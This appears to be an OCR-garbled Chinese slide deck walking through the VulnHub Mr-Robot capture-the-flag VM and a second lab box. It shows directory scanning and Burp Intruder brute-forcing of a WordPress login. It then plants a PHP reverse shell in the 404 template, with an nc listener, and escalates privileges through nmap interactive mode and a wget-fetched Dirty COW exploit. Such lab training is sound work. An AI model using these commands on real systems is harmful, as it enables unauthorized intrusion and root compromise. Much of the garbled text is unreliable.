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BT 4A

I MR-ROBOT: 1

- ¥EHlmmm, https://www.vulnhub.com/entry/mr-robot-1,151/

- VMWareEHH =& Tttt

https://download.vulnhub.com/mrrobot/mrRobot.ova

- (EHEAB3/Mlag,

Description
Based on the show, Mr. Robot.

This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find.

The VM isn't too difficult. There isn't any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.



https://www.vulnhub.com/entry/mr-robot-1,151/
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HTTPIE MR £548

« TENAT
- B
_ :izB/
F=gkm, O
. MRZk

285>, HTTP/1.1,

200, A

ﬁlu\o

HTTPhRZN;

- BETIRSIRHIEXER

- MERIESL

HRARSS A= FinXRIHTMLEYE

Response

_[ Raw T Headers I Hex ] HTML I Render

L T ————— h;."-i:"
HTTP/1l.1 200 0K = LT

A A T E e S T
Date: Thu, 10 May 2018 23:03:50 GHMT
Content-Type: text/htnl

Commection: close

“-Powered-Bv: PHP/E.Z.11

Expires: Thu, 1% Now 1521 02:52:00 GHMT
Pramma: no-cache

—» AR

Transitic: 2&4.-" "'.E"l.r"
"REtp: A www.wd L org /TR xhitml 1/DTD xhitml
dtd" >

<heads

Cache-Control: private

MRz 1ES
Content-Length: 9753 HIL
<!DOCTFPE html PUBLIC "-//W3C//DITD XHIML 1.0

1-transiticonal ]

<htm]l xmlns="http:/ fwww w3 org/l999 xhtml ">

<meta http-equiv="Content-Type" content="text /htwml;




RS

» INSIBR=AEEFAERN, P/ASTKRE:

- Ixx: 100-101, 18~ER, FTEKRELEW, SUEHME, XFPRESERD

Dz,
- 2xx: 200-206, EFiumiEXkEARSS semINERGHIESIRBIRINEA ;
- 3xx: 300-305, ExEM, BEREFHEESMALRIEEERZE—"LKENE,
- 4xx: 400-415, EFIHEKREIR;

- 5xx: 500-505, PRSBESiHEENR,




KNS

- BIUASAE RKSER 15408
- 200 OK = FimiakaI0
- 302 Found EEm, PEEattib@EidlocationigSxE.
- 304 Not Modified RS imEBERE.
- 401 Unauthorized IBRKREFEN, FEHITEMDIIE.
- 403 Forbidden RS ERIEIEK, (BRIEEIRMIRS
- 404 Not Found IERTZIRAFE, HIaNAN T ERAIURL
- 500 Internal Server Error  IRSZE§REARIFUEARYEIR

- 503 Server Unavailable  IRS88URIABEIEZ Fimhia K
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pjuhidiE TR

« ctf-wscan

—HRETHWCTFLLERHE TR, FHN, EER,

T&k: git clone https://github.com/kingkaki/ctf-wscan.git

WNERFETE;, AJLAE FaEgteibgnainhtips://github.91chi.fun/
HinERBaRFToutput R TLABFRURLAF BRI A+

(root@ kali)-[~/ctf/ctf-wscan]
[;; python3 ctf-wscan.py http://192.168.80.133

[200] =>
[301] =>
[301] =>
[302] =>
[200] =>
[302] =>

robots.txtsabase.propertie
index.php.~1~_ Edietplus
adminip.gzppr.gz
loginckeditor

admin/in
login/daili/webedit



https://github.91chi.fun/

pjuhidiE TR

e dirsearch

- FEgtell:  git clone https://github.com/maurosoria/dirsearch.git
- FHLIIR, REERRIR, #HFER.
- HBERRFEEreportsHRE FLABIRURLEG RN EXAH, rILUEIS ERSIBRI G

N B TIHT, (o oirecarch oy u hetp:/yioe 168.80.133

g A _|_  ve.4.2.3
C 1 381 cl)

I | |
Output File: /root/ctf/dirsearch/reports/192.168.80.133/_22-05-07_16-09-51.txt

[16:09:51] 301 - 233B - /js -> http://192.168.80.133/js/

[16:09:52] 301 - 0B - /%2e%2e//google.com -> http://192.168.80.133/%2E%2E/google.com
[16:10:02] 403 - 220B - /.ht_wsr.txt

[16:10:021 403 - 223B - /.htaccess.bakl




s TR
« dirb
- KalES#5HOWebiHTE, FrEMIEsIftvik, SREthiEsis,
- -NIEH, ZBREISREAOIREH,
- AR, FER, tHEREHTRFESR.
- -OMEW, KRS,

—(root® kali) - [~]
—# dirb http://192.168.80.133 -N 302 -r -0 MrRobot.txt




BErobotsX, xHkey1

* robots. txt@—FEFEI T MuttRE R TFRISAI S, AT AEES [ERINCHZRBRuEHAY
BRI Z AT LUTERY., BRI AR LAEAT,

« o O 8 192.168.80.133/robots.txt
3 BAEE.. m BUUCTF () &EFIEE - Mg=.. W HEE-BugkuCTF (@

User-agent: #*
fsocity.dic
key-1-of-3.txt

- CTF&3

- PR -Web#iZF[X- Robots




FHXE

- EE{4fsocity.dickE

—(root@kali)-[~/test]
—# wc -1 fsocity.dic
858160 fsocity.dic

—(root@ kali)-[~/test]
—# sort -u fsocity.dic | wc -1
11451

—(root® kali)-[~/test]
—# sort -u fsocity.dic > test.dic




WordPress

« WordPress
- WordPress2—1MNZCMS, tBE2EeTkHAEZE—HIWebM A,
- WordPressffe &8 &R UEIS B MIIGIUERBINGEE, Xt SRR T o884,

< > ¢ O 8 192.168.80.133/wp-login.php o &,

3 BASEE.. m BUUCTF ) EFIEE - FSEZ.. w%ﬁ—Bugku CTF (£ MAtHF i- ctf.show

W,

Username




04 .

FIFH Burpsuite /&g
pog U = R A A



-
stk kR Burpsuite

- REIE
- BIEEANBERR: SSHIRSS. MySQLERSS. LUKRWindowsimiE R EARSS
- WWebZERmmmEER, FEFMARNTEZBurpsuite,
- BT XMAIBurpsuiteTTRIRBLAE, EHRTRIBE RBeEREEERAIBurpsuite,




intruderf&iRAY{EH

- EEEEEZERAZE|BurpsuitedfintruderfEiR
- CTFIRE: Bugku-Web-iFREEZTT
- fEPositionsrig BT E, TLZEAIRMSIN LSS,

- TEUHEEWRTAIBTR, Burpsuitez HFHEAPRIEIEEEHT=ENE.

Target Positions Payloads Options

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload
positions - see help for full details.

Attack type: | Sniper it |

1 POST /?yes HTTP/1.1 Add §
2 Host: 114.67.175.224:19216

\ |
Content-Length: 9 ‘ Clear § |
\ |
\ |

(W)

4 Cache-Control: max-age=0

- = = e Auto §
5 Upgrade-Insecure—Requests: 1

.| Ordigin: hutp: //114.67.175:224719216 Refresh

Content-Type: application/x-www-form-urlencoded

o User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x&4) AppleWsbKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90
Safari/537.36

% Accept:
text/html, application/xhtml+xml, application/xml;g=0.9, image/avif, image/webp, image/apng, */*;qg=0.8, application/signed-e
¥change;v=b3;q=0.9

10 Referer: http://114.67.175.224:19216/

11 meocept-EBncoding: gzip, deflate

12 Accept-Language: zh-CN,zh;q=0.8

13 Connection: close

15 pwd=§12345§




intruderiEiR

. IgHZEAIAttack type

Sniper: BT, JLIEEZ N ZERITHITHRE, RIKE—FH, KiEENTE
BN BFHASHITER,

Battering ram: IUfiE, SJLUEESNEE, RIRE— 1 FH, BIrEHNETE—E

FAxrHASHITE .

Ptichfork: EX+F, aILMEEZINEE, MBI ZEDIIRE—TFH, AEAXN
HF B NSNS T E R HI TR,

Cluster bomb: £EHRIFH, IBESIMTE, AABINTESIIRE— N FEH, REH
FHRNFAESHTEHITEIL,




.
intruderf&iRAY{EH

+ PayloadsERINEEBLATA4F:

Simple list: FaNRINFE, FILAERBurpsuiteBFHFEH, SESAEENHFH,
Runtime file: RIIEFBEENXAIFEHE,

Numbers: RE—NMUESEE, MBERKOREFETEEH T,

Brute forcer: BHCOENFFHEEREMTFH,




.
intruderf&iRAY{EH

« Grep-Match

BT IRELEEXRET, AL HI T EERRERER.

T BurpsuiteXIS 21548, FRLAUXEARNES P /EALE R

a] LAEARIR[EHR ) FRRYBR o CRB /I LB 544

PR T IEERILE RGN, REERIERESEAIKENRFHpayload 2B 1EH.




intruderf&iRAY{EH

- BIRHECTFEAS
- IFptHSR-WebiiFX-weak _auth
- BugKu-Web-ih#E 2




M AREEHNBIRE SR

. FPEElioy

Filter: Showing all items

Request Payload Status Error Timeout Length Invalid username
5473 elliot 200 4204
5474 Elliot 200 4204 B
5475 ELLIOT 200 4204 )
0 200 4153
1 000 200 4153

« ZIOER28-0652
=

Attack Save Columns

Results Target Positions Payloads Options
‘ Filter: Showing all items

Request Payload Status Error Timeout Length incorrect
5627 ER28-0652 302 1078
0 200 4204
1 000 200 4204
2 000000 200 4204




EX404TH

» WordPressiZfit 7 BEX404TUEAIIIEE, SEFimbaiINEAFERN, MEBEaHIT

A0ATRTEFHYES.
- ERIXEAREMEEI404ITH, TREEERAIT404REFHHEE.

- 404UEALME "IN/ ERwESR" PHITIRE, EANRESRSEFIEE "4041R

JRiE TR

£ ) x http://192.168.80.133/a.php
Twenty Seventeen: 40445#R (404.php) C

1> W WEE - IRiEE! yttitan, Docke =RAT
B @ - dwess O © -

hack test
1 <%php

2 echo “hack test™:
2T
4




KXB{WebShell

WebShell

- B MEFREEIRIShell,

- Kaligpi2itgyWebShell: /usr/share/webshells/php/php-reverse-shell.php

set time limit (@);
$VERSION = "1.0";

$ip = '192.168.80.15@"'; // CHANGE THIS
$port = 1234; // CHANGE THIS

$chunk_size = 1400;

$write a = null;

$error a = null;

$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 8;

$debug = 8;

4

(root@ kali)-[/usr/share/webshells/php]
nc -lp 1234
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daemon@linux:/home/robot$ ls

1s

EfEMDS5, 3KHlkey?2 haycaat oo | s raccack |

o ﬁi;ﬁaﬂagi/ﬁ: daemon@linux:/home/robot$ cat passwnraw-mciS

cat password. raw-md5

gelslsidc 3Tcd3d76192e4007dfb496¢ccab7el3b

Aaamnn@Al inuy » /Thama / roahntd

daemon@linux:/$ find / -name "Kkey-*.txt" 2> /dev/null
find / -name "key-*.txt" 2> /dev/null

-

Jopt/bitnami/apps/wordpress/htdocs/key-1-o0f-3.txt
/home/robot/key-2-of-3.txt
daemon@linux:/$

HEZ7 18 Fsomd5i i (https://www.somd5.com) , 3F# . abcdefghijklmnopgrstuvwxyz

daemon@linux:/$ find -name "key-*.txt" 2> /dev/null

find -name "key-*.txt" 2> /dev/null
./opt/bitnami/apps/wordpress/htdocs/key-1-of-3.txt
./home/robot/key-2-of-3.txt

daemon@linux:/$ cat ./opt/bitnami/apps/wordpress/htdocs/key-1-of-3.txt
cat ./opt/bitnami/apps/wordpress/htdocs/key-1-of-3.txt
073403c8a58al1t80d943455fb30724b9

daemon@linux:/$ [

daemon@linux:/home/robot$ su - robot
su - robot
Password: abcdefghijklmnopqrstuvwxyz




-
MD5E i 5z

+ MD5HEXERCTFFIR
- BUUCTF-Crypto-MD5
- iBERK-Misc-ZRIFT3
- iBRk-Basic-FKHIAE
- Bugku-Crypto-{RLAIZEMD5IE




MD5E i 5z

 AMAGINFFERIKE

Irnﬂt@lacalhnst ~]# expr length "21232f297a57a5a/743894a0ed4a801fc3”
32

[root@localhost ~]# echo "21232f297a57a5a743894a0e4a801fc3" | wc -L
32

>>> len('21232f297a57a5a743894a0e4a801fc3")
32




M D 5 & fii {5l &
. AFSIEMD 5B RYIE £

>>> g = "bcil77a7a9c7udf69c248647b4dfc6fd840"
>>> Key = "0123456789abcdef”
=55 Tor 1 1pn a:
if 1 not in key:
a = a.replace(i,'"')
- - -

'bcl/77a7a9c7df69c248647b4dfc6Td84’
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-
B4 iR

- SRR (Dirty COW)

- IEFRREELnuXRZPFERN—NRR, BIRRIERZget user_pageRNZRETELL
ECopy-on-Write(LAMERCOWRRRIERES, AIaer - RSEMHEMCOWITTE
AR,

- FE2007FRBRILINUXIZIRAFH EEF ELRRE, —E%2016510818HLinux
kernel FIPAA XHXNNEIRF T TIES.

- IEd-RiEmexploitE & mEKalidr, AJF|AsearchsploitiEZ,



.
BELinuxhEA

o LinuxB9RITHRAFIRZhRA
- Linus Torvalds ZfRIELiInuxEZ AR Z (Kernel)

- BATFRIFR{ERRISIMERAIRG, SRETERZ RN ARER.




.
BELinuxfR$

o LinuxBY&ITARAFIAZARA
- (B AZBATLAMLINUX Kernell9ER (https://www.kernel.org) TEZFhRAH
LinuxiZz. AEERZAEM L, RIEARNBREXK, LEFMNAER, X
A% ¥ Linux&Z1Thi,
- CentOS7.5fKali2022 1&#2I8&1THR, AREAITIRRARIEEEARMRZAEILinuxX
WNZ.
- Linux&Z1ThRERZHZRL Y FKIRZE . RedHat, Debian,
- CentOSETFRedHatiy Ik FF&hRA~
- UbuntuZDebianfyxik4s, Kalill2UbuntufYBRFF &R,




.
BELinuxhEA

o BERITHRA
- CentOSEABEE KIThRIRAS

[root@Cent0S8 ~]# cat /etc/redhat-release
CentO0S Linux release 8.4.2105

- DebianZEF#ZEE KIThRNRAS

(root@ kali)-[~]
[;; Llsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux Rollinc
Release: 2021.4
Codename: kali-rolling




.
BELIinuxXkRA

- EERZMRA

- CentOSEAZEFHZIRA
[root@Cent0S8 ~]# uname -r [root@Cent0S8 ~]# uname -v
4.18.0-305.3.1.e18.x86 64 #1 SMP Tue Jun 1 16:14:33 UTC 2021
- DebianEAEERNZLIRA

(rnut@katl) [~]
lj# uname -

34 8= ka114 amd64

(root® kali)-[~]
—# uname -v
#1 SMP Debian 5.14.16-1kalil (2021-11-05)




I A BE 1=

- FENERRYR20165:10 B ZRIRILINUXZ, FEIRS-RIE,

$ uname -a
uname -a

Linux linux 3.13.0-55-generic #94-Ubuntu SMP [Thu Jun 18 00:27:10 UTC 2015 |x86 64 x86 64 x86 64 GNU/Linux
3

- fEEESexploit:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil




Fl|

H B iR R A

- BEexploitlIEAIRER

(roote kali)-[~]
[;; searchsploit -p linux/local/40847.cpp
Exploit: Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem
URL: https://www.exploit-db.com/exploits/40847
Path: /usr/share/exploitdb/exploits/linux/local/40847.cpp

File Type: C++ source, ASCII text

« {Bexploit™4EHZEIHBIHRT

—(root@ kali)-[~]
—# cp /usr/share/exploitdb/exploits/linux/1local/40847.cpp

ik




Tl SRR iR Y

- FAPythonfRiERZZR,, SRIERMEMERERR.

—(root@kali)-[~]
—# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)

o« FEEEAREwgetan S NEkexploit3X 4

www-data@lampiao:/var/www/html$ wget http://192.168.80.150/40847.cpp
wget http://192.168.80.150/40847.cpp

--2022-04-28 06:55:45-- http://192.168.80.150/40847.cpp
Connecting to 192.168.80.150:80... connected.

HTTP request sent, awaiting response... 200 OK
Length: 10212 (10.0K) [text/X-c++src]
Saving to: '40847.cpp.1l’

lﬂﬂ%[::::::::::::::::::::::::::::::::::::::>] 1Gr212 --.-K/S in 05

2022-04-28 06:55:45 (74.2 MB/s) - '40847.cpp.1l' saved [10212/10212]




Tl SRR iR Y

+ FexploitdmiER I I TIER
- g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

www-data@lampiao:/var/www/html$ g++ -Wall -pedantic -02 -std=c++11 -pthread -o dcow 40847.cpp -lutil
<tml$ g++ -Wall -pedantic -02 -std=c++11 -pthread -o dcow 40847.cpp -lutil
www-data@lampiao: /var/www/html$

www-data@lampiao:/var/www/html$ 1s

1s

40847 . cpp LICENSE.txt qrc.png
40847 .cpp.1 LuizGonzaga-LampiaoFalou.mp3 includes robots.txt
CHANGELOG. txt MAINTAINERS. txt index.php scripts
COPYRIGHT. txt README. txt install.php sites
INSTALL.mysql. txt UPGRADE. txt lampiao.jpg themes
INSTALL.pgsql. txt audio.mda misc update.php
INSTALL.sqlite.txt authorize.php modules web.config
INSTALL. txt cron.php profiles xmlrpc.php

www -dataglamnian: /var/www/html ¢




Fl|

H B iR R A

- 5171, =BoHErootBBFREREAKdirtyCowFun

www-data@lampiao: /var/www/html$ ./dcow

./dcow

Running

Received su prompt (Password: )

Root password is: dirtyCowFun

Enjoy! :-)

www-data@lampiao: /var/www/htmls$

t)]}ﬁ@]root, ?&I)”JE:W www-data@lampiao:/var/www/html$ su -

su - root

Password: dirtyCowFun

root@lampiao:~# 1s

1s

flag. txt

root@lampiao:~# cat flag.txt

cat flag.txt
9740616875908d91ddcdaa8aea3af366
root@lampiao:~#

root




FIA#IZE TSUIDEInmapiEit

« nmapiEt
- 7£2.0225. 21 i RARnmap PRI TR ERIVIIIEE, R BRI IFnmapEHEER

5T NTo RO
- FAR BRI EE(FER--interactiveitll

daemon@linux:/$ /usr/local/bin/nmap --interactive
Jusr/local/bin/nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh

Ish

# whoami

whoami

root

#




